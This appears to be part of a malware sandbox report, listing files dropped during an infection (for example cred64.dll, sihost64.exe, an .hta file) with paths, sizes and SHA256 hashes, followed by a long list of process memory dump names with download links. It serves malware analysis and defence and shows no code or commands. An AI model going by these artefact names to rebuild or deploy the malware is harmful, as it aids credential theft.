                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\db33507f098a6cf9edc785cd0a467995\Admin@PDSUOHDC_en-US\System\Process.txt
                                                                                                                                                                                    • Size 3KB
                                                                                                                                                                                    • SHA256 3ffcddc7ee350785f38a789f9b3f124e9518371db3ebfb9c33762eb644a84c15
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Process.txt
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\db33507f098a6cf9edc785cd0a467995\Admin@PDSUOHDC_en-US\System\Process.txt
                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                    • SHA256 7b7583c29178cb30676d6194713428b605e18b15abca36c9c5da3f2c2f0036c5
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    msgid.dat
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\db33507f098a6cf9edc785cd0a467995\msgid.dat
                                                                                                                                                                                    • Size 3B
                                                                                                                                                                                    • SHA256 5ef6fdf32513aa7cd11f72beccf132b9224d33f271471fff402742887a171edf
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Process.txt
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\f1d043acb16d96c2c861192bedb9da54\Admin@PDSUOHDC_en-US\System\Process.txt
                                                                                                                                                                                    • Size 2KB
                                                                                                                                                                                    • SHA256 ba75b4a23fb706db8cfcc5f767394e85a40d48eb25f2ab769446c52d5477ca95
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Process.txt
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\f1d043acb16d96c2c861192bedb9da54\Admin@PDSUOHDC_en-US\System\Process.txt
                                                                                                                                                                                    • Size 3KB
                                                                                                                                                                                    • SHA256 6188a6c972e9dc4adfa185dcf113a26608fe65d6b70e43459f55d633596d313b
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Process.txt
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\f1d043acb16d96c2c861192bedb9da54\Admin@PDSUOHDC_en-US\System\Process.txt
                                                                                                                                                                                    • Size 3KB
                                                                                                                                                                                    • SHA256 f750c4fb8aae9576dddfad5d2b3948775904ca9e6c5d4669dbfae398d95da8c0
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Process.txt
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\f1d043acb16d96c2c861192bedb9da54\Admin@PDSUOHDC_en-US\System\Process.txt
                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                    • SHA256 29a451df4f6c66fa323a15d842b37c8706d46a972598cf8e590ce5f4601bc565
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    msgid.dat
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\f1d043acb16d96c2c861192bedb9da54\msgid.dat
                                                                                                                                                                                    • Size 2B
                                                                                                                                                                                    • SHA256 d029fa3a95e174a19934857f535eb9427d967218a36ea014b70ad704bc6c8d1c
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    cred64.dll
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Roaming\79d69f945ccab2\cred64.dll
                                                                                                                                                                                    • Size 10KB
                                                                                                                                                                                    • SHA256 6faef4d5d777fdcaa653766b0ac8b9ed32d0fd87f7dcd79f02ff524dd1b0eb69
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    sihost64.exe
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                                                                                                    • Size 31KB
                                                                                                                                                                                    • SHA256 1b2a121894339e4eb7cbe87c5c7c8816143c1d4313e92834d5b0015ad2611186
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    dQbdHlsRh.hta
                                                                                                                                                                                    • Path C:\Users\Admin\Desktop\dQbdHlsRh.hta
                                                                                                                                                                                    • Size 729B
                                                                                                                                                                                    • SHA256 349c29b74d06a957d407f51486997d82641b21734a404fceff16b6eb52d6a8e8
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    CSCC57265974E32438BA19E63D69DF5D11.TMP
                                                                                                                                                                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\ippdl5tf\CSCC57265974E32438BA19E63D69DF5D11.TMP
                                                                                                                                                                                    • Size 652B
                                                                                                                                                                                    • SHA256 d39a898494b3358164b7528289418bb7d0d30ea6ffce0a33a3c67800fa7f5898
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    ippdl5tf.0.cs
                                                                                                                                                                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\ippdl5tf\ippdl5tf.0.cs
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 cbbfa6964604638ba1fef05643205e84ae07079b538aedfd80d69a39bbd8b8b9
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    ippdl5tf.cmdline
                                                                                                                                                                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\ippdl5tf\ippdl5tf.cmdline
                                                                                                                                                                                    • Size 369B
                                                                                                                                                                                    • SHA256 c72edc27661ebebffc9bd4ea4a0dd335ff688a39c4b5eede0bfeccf53085abed
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    memory/108-1702-0x0000000025350000-0x00000000253EC000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/108-1703-0x00000000255E0000-0x0000000025672000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/108-1701-0x0000000022F20000-0x0000000022F30000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/108-1704-0x00000000257B0000-0x00000000257BA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/108-1699-0x0000000072A70000-0x0000000072F49000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/880-1352-0x0000000000ED0000-0x0000000000FA7000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/880-1328-0x0000000000ED0000-0x0000000000FA7000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1016-1843-0x0000000000400000-0x00000000008E0000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1020-1774-0x0000000000400000-0x000000000045E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1020-1773-0x0000000000400000-0x000000000045E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-16-0x00000000055F0000-0x0000000005947000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-5-0x0000000004C60000-0x0000000004C82000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-20-0x0000000005FB0000-0x0000000005FCA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-22-0x0000000007060000-0x00000000070F6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-23-0x0000000006FF0000-0x0000000007012000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-24-0x0000000007E60000-0x0000000008406000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-3-0x0000000002650000-0x0000000002686000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-18-0x00000000060E0000-0x000000000612C000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-17-0x0000000005AE0000-0x0000000005AFE000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-4-0x0000000004E50000-0x000000000547A000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-19-0x0000000007230000-0x00000000078AA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-7-0x0000000005480000-0x00000000054E6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/1472-6-0x0000000004D00000-0x0000000004D66000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/2508-1350-0x0000000000260000-0x00000000005C3000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/2968-1755-0x0000024E42A40000-0x0000024E42A52000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/2968-1756-0x0000024E42A70000-0x0000024E42A7A000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/2968-1753-0x0000024E3D210000-0x0000024E3EFCE000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/2968-1754-0x0000024E5D330000-0x0000024E5F0EE000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-749-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-161-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-60-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-61-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-98-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-99-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-104-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-105-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-836-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-183-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-186-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-194-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-199-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-201-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-205-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-209-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-750-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-210-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-747-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-229-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-228-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-746-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-745-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-277-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-740-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-737-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-287-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-735-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-721-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-351-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-451-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-362-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-404-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-389-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-380-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3172-384-0x0000000000400000-0x0000000000432000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3344-1811-0x00000000006E0000-0x0000000000B61000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3460-1446-0x0000000005E10000-0x0000000006167000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3460-1466-0x000000006EBB0000-0x000000006EBFC000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3468-921-0x0000000004B30000-0x0000000004B8E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3468-922-0x0000000004B30000-0x0000000004B8E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3468-929-0x0000000004B30000-0x0000000004B8E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3468-928-0x0000000004B30000-0x0000000004B8E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/3468-930-0x0000000004B30000-0x0000000004B8E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4136-112-0x00000295213B0000-0x00000295213D2000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4136-129-0x0000029521420000-0x0000029521428000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4484-80-0x0000000000F90000-0x0000000000F98000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4484-79-0x00000000005D0000-0x00000000005DA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4596-1348-0x0000000000ED0000-0x0000000000FA7000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4596-1697-0x0000000000ED0000-0x0000000000FA7000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/4972-1698-0x0000000000C60000-0x0000000000FC3000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5276-1174-0x000002BEE1AF0000-0x000002BEE2106000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-935-0x000001E95FF90000-0x000001E95FF9A000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-936-0x000001E95FFB0000-0x000001E95FFD6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-1081-0x000001E960520000-0x000001E960564000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-771-0x000001E95FD90000-0x000001E95FE42000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-1082-0x000001E960580000-0x000001E96059A000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-940-0x000001E95FFA0000-0x000001E95FFAA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-941-0x000001E960110000-0x000001E960118000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-934-0x000001E960010000-0x000001E9600B0000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-729-0x000001E944D70000-0x000001E945386000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-938-0x000001E9600E0000-0x000001E9600F6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-937-0x000001E9600D0000-0x000001E9600D8000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5296-939-0x000001E9600C0000-0x000001E9600CA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5324-200-0x0000000000400000-0x0000000002BC6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5460-1389-0x0000000000400000-0x0000000002BC6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5460-748-0x0000000000400000-0x0000000002BC6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5460-557-0x0000000000400000-0x0000000002BC6000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5480-1752-0x0000000000130000-0x000000000014C000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1822-0x000002C64CFA0000-0x000002C64CFC0000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1823-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1825-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1824-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1826-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1827-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1821-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5560-1819-0x0000000140000000-0x0000000140786000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1376-0x000000006EBB0000-0x000000006EBFC000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1385-0x0000000006E10000-0x0000000006E2E000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1374-0x0000000005C40000-0x0000000005C8C000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1386-0x0000000006E40000-0x0000000006EE4000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1387-0x0000000006FF0000-0x0000000006FFA000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1388-0x00000000071A0000-0x00000000071B1000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1373-0x00000000057D0000-0x0000000005B27000-memory.dmp
                                                                                                                                                                                    Download

                                                                                                                                                                                    memory/5808-1375-0x0000000006DD0000-0x0000000006E04000-memory.dmp
                                                                                                                                                                                    Download